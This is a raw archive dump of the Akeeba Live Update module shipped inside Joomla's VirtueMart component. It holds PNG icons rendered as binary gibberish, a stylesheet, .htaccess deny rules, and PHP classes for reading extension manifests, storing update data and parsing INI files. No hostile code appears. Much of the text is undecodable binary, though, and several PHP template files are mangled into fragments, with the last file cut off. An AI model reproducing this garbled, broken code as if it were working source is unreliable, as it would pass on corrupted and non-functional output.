.nJ<>ljR6/ȃ H"Cjewܒk+ғhj#dlvq3؇ IvF7F131ʊ%E^63#c7.>5)Ē6.Y{unbT}6ˈ ~\P3jHzũk#-gο1mˎ~0#OX-7DѨTi#%sfͣy/G LcCCp3ł+ဪ^w\G匪ֵU25>+SmXSlٵ\) ϡ+:aC7By$3sx|ӎ-Pmv%[TQSj{ MljhR|o2{脳 -6Rs"IUmg)քÕ SI"6b9(HìKYyiYE'?lCvӎl'K.dTUYīw+7 v.,UH$9 #fvipA9O4zӲ.VfBkCCkyD\ǭRҬv$|YL.*A)CD"^tjX5vFt_ dr Ҫb>4?L}}gɱ~E*Ր+f$odN=\M,+0ɻ [+7ǵ~RL}kDY=:Y~kWṲ;A 4ixytoSHSeMM[W@pW[bme=+H;,#{ E&v?^SBi&qn9Pu2B>#=C)lztM}cf"=Đ>A>뾔Kkifi9ѠS0C!Ţ*RD[Ig谬aV;[|nX,?Ϯ[hFCM %7řŕ8\8As¹|7w %DS-Ȗ{MK4dtŵ@vEo>bpҀ͓ww D:`50P.\^|_. 4Ʒ$;GIENDB`PK@y>\^ON7components/com_virtuemart/liveupdate/assets/warn-24.pngnuW+APNG  IHDRw= pHYs  NIDATH UkUv[kX`PM . >Pė}RD((m!- FPb 6`c-5MnwMi?ffx؝;ss(c ԇ*ܾ6l՚,ޓ( v3pE>ː BF.>Tnbש4uX4a8M`߃RhL<CP ]$>U`~`卌ϤiRHMNFe(o.9\Ь X 1= Vp%z;gTŁPtCmQ[Ϋ*YǦgUgvKƇ,=s0_Y6UsFe1rKP2K ;Q[ɿ2nM3A ]%Xghpg/!j A2=K_ZU(jW74)6U4#dp@)'@4lvU) i+]Śm4L@Qssj6nvZ+_ձi%*d`b8֏7g@Y6U NL5S;*f#;u[;-3"96 o9ޓ9TattQ#I6BﱁdFnvy.Bnͣf$Z q.]f YXA8A&2}S@~#q|ER{9|;zܸ m 5,U0Ġo ~=t0"Gκsѿr*!h"x9p@~1>)6sWW?E_t5aK`K)8އBm:Cb|Mz9cv>3xO=G(z~b'# -vH5k.jPӱ5Af+ox a >ۋGY{ǰ\km‹i)e?uLd7}W<ijqcX痢Ki(tq<,d,JޅE| 0RHl ]|ĵfA͚q Yڛ!IENDB`PK@y>\6components/com_virtuemart/liveupdate/assets/index.htmlnuW+APK@y>\/qT5components/com_virtuemart/liveupdate/assets/ok-24.pngnuW+APNG  IHDRw= pHYs  IDATH mLSWmo@hkaP4$(ʋɾ܊Kd#`lֲ1gt& e0`A hGA!PhK[/lq{9?BXqü@z= 06†_#`q^8Nh%BG9OGTd\a~]'@MykG>Dsx'y;laxRdٹŹ*+`6<\((WX,i(*V?5%-q ˲ՉNٯN>NoN(T01%n\!PD8D~ ֖$i0pXI_\ l8ה 63ql Aw@%<ϠQX@iZvefBRD,gR枦;;5%֦݁hWٗDӂ"sPbzoD)mJd^eNB5nPrZ|ᴴ#DLu{M/d1a#L;e@_ڲmZ*QN`h ޘu-ա~4d446Vm{(6*PC<5ۏ^Ene;4i(c$77/Cp.;4Iz)l?xd>edlx&ɒqbUpqKMUfuSnZJd?FNBvv80p}bmpy{f:C9R4$Zi:ްP(?n.8utt!|p9r'N{; &&"JJˀaldy³hZ2FH9~w,g,"p.B&U=14+ӥ D.ʧdZ$a4Q~JnvKv;(Enhi"܄b3:52>Q?~ej875@> :[n&oZւXQDn05X,*h>̅)|naL|k7CőG_}?5ozCa=k[ 8Ru…+XYj-PyAU{ΡBF?qX"鍊|2b/iG2ar31b} GOZ]4qcIENDB`PK@y>\ :components/com_virtuemart/liveupdate/assets/liveupdate.cssnuW+A/** * @package LiveUpdate * @copyright Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * @license GNU LGPLv3 or later */ @CHARSET "UTF-8"; .icon-48-liveupdate { background-image: url(liveupdate-48.png) } var { font-style: italic; font-weight: bold; } p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } div.liveupdate-notsupported, div.liveupdate-stuck { border: thin solid #990000; background: #fff0f0; padding: 1em; color: #330000; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } div.liveupdate-notsupported h3, div.liveupdate-stuck h3 { background: transparent url("fail-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: red; text-shadow: 1px 1px 6px #cccc00; } div.liveupdate-hasupdates { border: thin solid #999900; background: #fffff0; padding: 1em; color: #333300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #ff8; -webkit-box-shadow: 5px 5px 5px #ff8; box-shadow: 5px 5px 5px #ff8; } div.liveupdate-hasupdates h3 { background: transparent url("warn-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #660; text-shadow: 1px 1px 6px #ffff00; } div.liveupdate-noupdates { border: thin solid #009900; background: #f0fff0; padding: 1em; color: #003300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #8f8; -webkit-box-shadow: 5px 5px 5px #8f8; box-shadow: 5px 5px 5px #8f8; } div.liveupdate-noupdates h3 { background: transparent url("ok-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #060; text-shadow: 1px 1px 6px #00ff00; } div.liveupdate-infotable { width: 1020px; margin: auto auto; padding: 2px; border: thin solid #333; background: #fefefe; -moz-border-radius: 5px; -webkit-border-radius: 5px; -border-radius: 5px; } div.liveupdate-infotable .row0 { background: #fcfcfc } div.liveupdate-infotable .row1 { background: #f0f0f0 } div.liveupdate-row { padding: 5px 1px } span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } span.liveupdate-data { display: inline-block; width: 400px; overflow: none } p.liveupdate-buttons { text-align: center; margin: 1em; } p.liveupdate-error-needsauth { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } p.liveupdate-poweredby a { color: silver; } div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 14pt; text-shadow: 1px 1px 3px silver } PK@y>\vpVPP9components/com_virtuemart/liveupdate/assets/update-32.pngnuW+APNG  IHDR szz pHYs  IDATX W[lUΜK QoR"b0& /ĤM|'>ht4BbL4'i(!1z#U Жnﻳ3?̜}9ZXu9 Ӿ %LČ.6';D V6l@p0 @~Hr4VoPJRml@2lM8A Ric TTATPB:`#Ќ~؋ %"\F<-!cfAdԈp eY(S$ -@ a+$bZ5^TgyM55)NK l" Y- RfR00k8D@!2 k I !]Q9P(EU~k"۰nk Ib#?j?ucp<0=lm)UCxmIh%N~ #UPn:)=ROH<Ⱦ;iu+`Aj&$܆E޳Bŝ 5R2Տo빼:tv R#v9FD`2@qGTm@Ŷr}Q G<Պ-}Z|hM"<'(eR(w LE[n!^+1Uu=MkTGv)}rQBX⏂XkdS]T-&|`Q.`S[v7ٛwΘ WptE׌1  %SJq޼]:V҉r;K ˰Ps^|ܝHQne"fiqŒtKx`+OEYքp D?F VSE`$a>6fn?s=[:dH0HˎOt g8w"dO(@Iج|vSK(1$ZPZ$>p6iH! z1F/C6£/ < Iy㐴пXPLҁ($E_~mz]gU$IyCV 4к>QAT!l>"Ew/[HbH+h{uwXz2$sBUqVPPa]x9BI//3N4|[\5r#ZSꑱHy2Jc $^o;'B ǞMsDgGϋy1>.Do.X$a 'fR^'CT$1e*M 2 LJoI?px=1 A<(Xnc_a |cNw[_pF@DŽp_U$-VJ|P^$a i=C R,,[UxYDJ|3xƜpHyzΘ5+@.o/$>L6XX籽 ؅c[±m':+0jDDZwF^-ʷk xSm4‚IENDB`PK@y>\)5components/com_virtuemart/liveupdate/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\q:components/com_virtuemart/liveupdate/assets/current-32.pngnuW+APNG  IHDR szz pHYs  IDATX ŖPT}쏷n!AMaC$m"t&hLm"2)d4i)G8qL?Ѡ rYDxxwo}dA4zww;s?s]D){ٸ{ g.V0t-ݺ u u+XwE܀opO=_f<P h^o+*g7`sH9Dk(ay'a,|\T*{*ti_PjI`v~χ7Sp*(~//bZR~dJG/3ჴy%Д!>yU2̹+ޠ mf85?a*:Arv_l ^M[YM3RF^pjtEZXo?wp|~dݮ YƲ~V=SZ"aT( .o|pVBiGDr/lr'ďA}]θ]W`5(Nj|~SsU=;R^1<}}źy߅ճQJ|αwoz_s~?ïEnA5;O;:}:FGm錄mO@pÍcw2i`Αl1\^^=components/com_virtuemart/liveupdate/assets/liveupdate-48.pngnuW+APNG  IHDR00W pHYs  IDAThZ p\ř1}K6Ɩm"A. %d@@%Y6VEq2+ !˧oɺl3:~G11ð=͌}W̨BI,k3ݧ敃Np.TZ$\L:('1L TW\o?TxfZ8_W}A /\zVۉcKuJd!Q.*p< zH&og+|~"@  zn'V{|qiB425"$ nLu`T=A)?ڦ{<5zztQMʙ/=W' ltZP, 0v3c~NE\R&gx_'IfbEpQ# \Tm8l)Pqݍc7Bwy XQ-W9%??,"J>P;$7u f8GiJDJ^v61"jwةA HIHĒYNIr=bf kav-Mgn&%/]4w4$ZLqsl*idOArnL|/SGLQdydrd:h h^{ẄKxX>PrkUj:.9ʼOtxKT{lH |-+6h~&9ڲÉ:czN++o#< y؃}^14np'uC HBkJr?hTJHr[ ܲT6"g NQa -j ^)? ~-ȉdJ  <#@[| VUII/TsG{6Dn[2`ףCv[/R9ԗף}b?\=%x69nBpS E<: B}):>O,]\&/~a\°~5kPU,YC-ίzWOd w{)F*/.Hǿw<֋fTⲢma3ch| zgr \!~̀y$7%Flw.ާ_Xz ;RHV_ `eQ >pWLnZ\Smc=ONv3KeYgop0 )/)1KqVնΩNIn R!p&`3SJH]bc%P/ ^"ֈӑ !/7VZg Fnq&J2w;H$d:g>1i,07w}[^a'lM%ߪj˾?7t+fddTI2E^(TBͳs&)!2G~(ږ%}#\g#BQpn38Gnw_?0I|M𣹞?(g,xto -1wP!Wk&yY)GgosPHb! XY: @)>9t詿Xꡍ/=im&c;%!7moTDt_!XFXXZdMA@Bfp\ѸB/'n|+T阛c1`+{WO$]YTB<MeH<=ZG\J ! aSe+$aԿ0xgY뭦]gS =EΥe`=Ej 0+yU|w i.L+6 CBH Tf(%a3x-TZ?`fGعj]?̟z˺ǃ'sCBiЀ76M,7:T`Vbn մkL B*Rй$mPӌ3ffISOIFoۼ) 3 ~­,!lkCCqe L]x¢8xmY@lC^u!qhԈɿq[Fhu}݀|OΒ]dgC>[h|Lzb[پy{~Е,$֪XS*X/| 60^^wq:YD:,<Xlњf_,yY~IqAnCJQ,k.D|/-_ues3U%k~xd{8KC!~G=yx0bK=zLKZ/%ˎ].5tuɦ*Há!_Į wTx|d Sl۲hKNCM&6pg7\K+xUw޿G葖 [Cg_FUP%bd C&9>cH)SGt[i*UG<3oYkz{C{ޕUiSr@M8Cfxe7I/ 9ۄĠ("+&O͡C[Pq#҄$ #0 Aնm xd]sfxsMD?XfA(ULc]&IZ^OKR++Ww׆wmw׶oizS كJCjG* odj[ ƺ*#uGcQ<>nD҃rovws1ɉ{l,|ub-+2w~:5UB"ረgD*}}  dz|0 p¼rHhqc 0SԠz"[۱g Хٖ_UU bZʹZq;IʘCo$Si/Y,GN\UUޒakͥ avЛ]$⏂HʃW:>ᇻDt8!n $vȀ$f?+hK+SY8!G*}M8zYƄ)!8r>erl*QC<;&gvX%IH7Cfje^[sMM!8ru;QIB׹8,q /C-7ޜm0w񜞜ܜN&Bj}U3owJάlصS:v8%#e}Nne V@|Ɍerc)uzVPH-/ZK1'i+R׍+'^z\%]8GbCJO lnMCeAi\/^883components/com_virtuemart/liveupdate/liveupdate.phpnuW+AhasUpdates = false; return $versionCheck; } }PK@y>\).components/com_virtuemart/liveupdate/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ g,,9components/com_virtuemart/liveupdate/classes/xmlslurp.phpnuW+A */ defined('_JEXEC') or die(); class LiveUpdateXMLSlurp extends JObject { private $_info = array(); public function getInfo($extensionName, $xmlName) { if(!array_key_exists($extensionName, $this->_info)) { $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); } return $this->_info[$extensionName]; } /** * Gets the version information of an extension by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function fetchInfo($extensionName, $xmlName) { $type = strtolower(substr($extensionName,0,3)); switch($type) { case 'com': return $this->getComponentData($extensionName, $xmlName); break; case 'mod': return $this->getModuleData($extensionName, $xmlName); break; case 'plg': return $this->getPluginData($extensionName, $xmlName); break; case 'tpl': return $this->getTemplateData($extensionName, $xmlName); break; case 'pkg': return $this->getPackageData($extensionName, $xmlName); break; case 'lib': return $this->getPackageData($extensionName, $xmlName); break; default: if(strtolower(substr($extensionName, 0, 4)) == 'file') { return $this->getPackageData($extensionName, $xmlName); } else { return array('version'=>'', 'date'=>''); } } } /** * Gets the version information of a component by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getComponentData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.file'); if(JFile::exists("$path/$xmlName")) { $filename = "$path/$xmlName"; } elseif(JFile::exists("$path/$extensionName.xml")) { $filename = "$path/$extensionName.xml"; } elseif(JFile::exists("$path/$altExtensionName.xml")) { $filename = "$path/$altExtensionName.xml"; } elseif(JFile::exists("$path/manifest.xml")) { $filename = "$path/manifest.xml"; } else { $filename = $this->searchForManifest($path); if($filename === false) $filename = null; } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ( ($xml->document->name() != 'install') && ($xml->document->name() != 'extension') ) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a module by reading its XML file * @param string $extensionName The name of the extension, e.g. mod_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getModuleData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_SITE.'/modules/'.$extensionName; if(!JFolder::exists($path)) { $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; } if(!JFolder::exists($path)) { // Joomla! 1.5 // 1. Check front-end $path = JPATH_ADMINISTRATOR.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } // 2. Check front-end if(!JFile::exists($filename)) { $path = JPATH_SITE.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } } else { // Joomla! 1.6 $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a plugin by reading its XML file * @param string $extensionName The name of the plugin, e.g. plg_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getPluginData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $base = JPATH_PLUGINS; // Get a list of directories $stack = JFolder::folders($base,'.',true,true); foreach($stack as $path) { $filename = "$path/$xmlName"; if(JFile::exists($filename)) break; $filename = "$path/$extensionName.xml"; if(JFile::exists($filename)) break; $filename = "$path/$altExtensionName.xml"; if(JFile::exists($filename)) break; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a template by reading its XML file * @param string $extensionName The name of the template, e.g. tpl_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml */ private function getTemplateData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // First look for administrator templates $path = JPATH_THEMES.'/'.$altExtensionName; if(!JFolder::exists($path)) { // Then look for front-end templates $path = JPATH_SITE.'/templates/'.$altExtensionName; if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); } $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/templateDetails.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * This method parses the manifest information of package, library and file * extensions. All of those extensions do not store their manifests in the * extension's directory, but in administrator/manifests. Kudos to @mbabker * for sharing this method! * * @param string $extensionName * @param string $xmlName * @return type */ private function getPackageData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_ADMINISTRATOR.'/manifests/packages'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'extension') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Scans a directory for XML manifest files. The first XML file to be a * manifest wins. * * @var $path string The path to look into * * @return string|bool The full path to a manifest file or false if not found */ private function searchForManifest($path) { jimport('joomla.filesystem.folder'); $files = JFolder::files($path, '\.xml$', false, true); if(!empty($files)) foreach($files as $filename) { $xml = JFactory::getXMLParser('simple'); $result = $xml->loadFile($filename); if(!$result) continue; if(($xml->document->name() != 'install') && ($xml->document->name() != 'extension') && ($xml->document->name() != 'mosinstall')) continue; unset($xml); return $filename; } return false; } }PK@y>\.gY>components/com_virtuemart/liveupdate/classes/tmpl/overview.phpnuW+A */ defined('_JEXEC') or die(); ?>
      updateInfo->supported): ?>

      escape($this->updateInfo->extInfo->updateurl) ?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->stuck):?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; $auth = $this->config->getAuthorization(); $auth = empty($auth) ? '' : '?'.$auth; ?> needsAuth): ?>

      updateInfo->extInfo->version ?>
      updateInfo->version ?>
      updateInfo->date ?>

      updateInfo->hasUpdates):?> needsAuth ? 'disabled="disabled"' : ''?>

      Powered by Akeeba Live Update

      PK@y>\);components/com_virtuemart/liveupdate/classes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\<components/com_virtuemart/liveupdate/classes/tmpl/index.htmlnuW+APK@y>\.=components/com_virtuemart/liveupdate/classes/tmpl/install.phpnuW+A */ defined( '_JEXEC' ) or die(); $state = &$this->get('State'); $message1 = $state->get('message'); $message2 = $state->get('extmessage'); ?>

      Powered by Akeeba Live Update

      PK@y>\5FYYAcomponents/com_virtuemart/liveupdate/classes/tmpl/startupdate.phpnuW+A */ defined('_JEXEC') or die(); ?>

      Powered by Akeeba Live Update

      PK@y>\)>components/com_virtuemart/liveupdate/classes/storage/.htaccessnuW+A Order allow,deny Deny from all PK@y>\?components/com_virtuemart/liveupdate/classes/storage/index.htmlnuW+APK@y>\? Bcomponents/com_virtuemart/liveupdate/classes/storage/component.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update Component Storage Class * Allows to store the update data to a component's parameters. This is the most reliable method. * Its configuration options are: * component string The name of the component which will store our data. If not specified the extension name will be used. * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. */ class LiveUpdateStorageComponent extends LiveUpdateStorage { private static $component = null; private static $key = null; public function load($config) { if(!array_key_exists('component', $config)) { self::$component = $config['extensionName']; } else { self::$component = $config['component']; } if(!array_key_exists('key', $config)) { self::$key = 'liveupdate'; } else { self::$key = $config['key']; } jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); if(!($component->params instanceof JRegistry)) { $params = new JParameter($component->params); } else { $params = $component->params; } $data = $params->getValue(self::$key, ''); jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); self::$registry->loadINI($data); } public function save() { $data = self::$registry->toString('INI'); $db =JFactory::getDBO(); // An interesting discovery: if your component is manually updating its // component parameters before Live Update is called, then calling Live // Update will reset the modified component parameters because // JComponentHelper::getComponent() returns the old, cached version of // them. So, we have to forget the following code and shoot ourselves in // the feet. Dammit!!! /* jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); $params = new JParameter($component->params); $params->setValue(self::$key, $data); */ if( version_compare(JVERSION,'1.6.0','ge') ) { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__extensions'). ' WHERE '.$db->nameQuote('type').' = '.$db->Quote('component').' AND '. $db->nameQuote('element').' = '.$db->Quote(self::$component); $db->setQuery($sql); } else { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__components'). ' WHERE '.$db->nameQuote('option').' = '.$db->Quote(self::$component). " AND `parent` = 0 AND `menuid` = 0"; $db->setQuery($sql); } $rawparams = $db->loadResult(); $params = new JParameter($rawparams); $params->setValue(self::$key, $data); if( version_compare(JVERSION,'1.6.0','ge') ) { // Joomla! 1.6 $data = $params->toString('JSON'); $sql = 'UPDATE `#__extensions` SET `params` = '.$db->Quote($data).' WHERE '. "`element` = ".$db->Quote(self::$component)." AND `type` = 'component'"; } else { // Joomla! 1.5 $data = $params->toString('INI'); $sql = 'UPDATE `#__components` SET `params` = '.$db->Quote($data).' WHERE '. "`option` = ".$db->Quote(self::$component)." AND `parent` = 0 AND `menuid` = 0"; } $db->setQuery($sql); $db->query(); } } PK@y>\+dLL=components/com_virtuemart/liveupdate/classes/storage/file.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update File Storage Class * Allows to store the update data to files on disk. Its configuration options are: * path string The absolute path to the directory where the update data will be stored as INI files * */ class LiveUpdateStorageFile extends LiveUpdateStorage { private static $filename = null; public function load($config) { $path = $config['path']; $extname = $config['extensionName']; $filename = "$path/$extname.updates.ini"; self::$filename = $filename; jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); jimport('joomla.filesystem.file'); if(JFile::exists(self::$filename)) { self::$registry->loadFile(self::$filename, 'INI'); } } public function save() { jimport('joomla.filesystem.file'); $data = self::$registry->toString('INI'); JFile::write(self::$filename, $data); } } PK@y>\ǘ[77@components/com_virtuemart/liveupdate/classes/storage/storage.phpnuW+A */ defined('_JEXEC') or die(); /** * Abstract class for the update parameters storage * @author nicholas * */ class LiveUpdateStorage { /** * The update data registry * @var JRegistry */ public static $registry = null; /** * * @param string $type * @param array $config * @return LiveUpdateStorage */ public static function getInstance($type, $config) { static $instances = array(); $sig = md5($type, serialize($config)); if(!array_key_exists($sig, $instances)) { require_once dirname(__FILE__).'/'.strtolower($type).'.php'; $className = 'LiveUpdateStorage'.ucfirst($type); $object = new $className($config); $object->load($config); $newRegistry = clone(self::$registry); $object->setRegistry($newRegistry); $instances[$sig] = $object; } return $instances[$sig]; } public function &getRegistry() { return self::$registry; } public function setRegistry($registry) { self::$registry = $registry; } public final function set($key, $value) { if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_encode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = base64_encode(serialize($value)); } else { $value = serialize($value); } } self::$registry->setValue("update.$key", $value); } public final function get($key, $default) { $value = self::$registry->getValue("update.$key", $default); if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_decode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = unserialize(base64_decode($value)); } else { $value = unserialize($value); } } return $value; } public function save() {} public function load($config) {} }PK@y>\8\:components/com_virtuemart/liveupdate/classes/inihelper.phpnuW+A */ defined('_JEXEC') or die(); /** * A smart INI file parser with reproducible behaviour among different PHP versions */ class LiveUpdateINIHelper { /** * Parse an INI file and return an associative array. Since PHP versions before * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to * overcome this obstacle. * @param string $file The file to process * @param bool $process_sections True to also process INI sections * @return array An associative array of sections, keys and values */ public static function parse_ini_file( $file, $process_sections, $rawdata = false ) { if($rawdata) { return self::parse_ini_file_php($file, $process_sections, $rawdata); } else { if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) { if( function_exists('parse_ini_file') ) { return parse_ini_file($file, $process_sections); } else { return self::parse_ini_file_php($file, $process_sections); } } else { return self::parse_ini_file_php($file, $process_sections, $rawdata); } } } /** * A PHP based INI file parser. * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on * the parse_ini_file page on http://gr.php.net/parse_ini_file * @param string $file Filename to process * @param bool $process_sections True to also process INI sections * @param bool $rawdata If true, the $file contains raw INI data, not a filename * @return array An associative array of sections, keys and values */ static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) { $process_sections = ($process_sections !== true) ? false : true; if(!$rawdata) { $ini = file($file); } else { $file = str_replace("\r","",$file); $ini = explode("\n", $file); } if (count($ini) == 0) {return array();} $sections = array(); $values = array(); $result = array(); $globals = array(); $i = 0; foreach ($ini as $line) { $line = trim($line); $line = str_replace("\t", " ", $line); // Comments if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} // Sections if ($line{0} == '[') { $tmp = explode(']', $line); $sections[] = trim(substr($tmp[0], 1)); $i++; continue; } // Key-value pair list($key, $value) = explode('=', $line, 2); $key = trim($key); $value = trim($value); if (strstr($value, ";")) { $tmp = explode(';', $value); if (count($tmp) == 2) { if ((($value{0} != '"') && ($value{0} != "'")) || preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ $value = $tmp[0]; } } else { if ($value{0} == '"') { $value = preg_replace('/^"(.*)".*/', '$1', $value); } elseif ($value{0} == "'") { $value = preg_replace("/^'(.*)'.*/", '$1', $value); } else { $value = $tmp[0]; } } } $value = trim($value); $value = trim($value, "'\""); if ($i == 0) { if (substr($line, -1, 2) == '[]') { $globals[$key][] = $value; } else { $globals[$key] = $value; } } else { if (substr($line, -1, 2) == '[]') { $values[$i-1][$key][] = $value; } else { $values[$i-1][$key] = $value; } } } for($j = 0; $j < $i; $j++) { if ($process_sections === true) { if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; } else { if( isset($values[$j]) ) $result[] = $values[$j]; } } return $result + $globals; } }PK@y>\gE;components/com_virtuemart/liveupdate/classes/controller.phpnuW+A */ 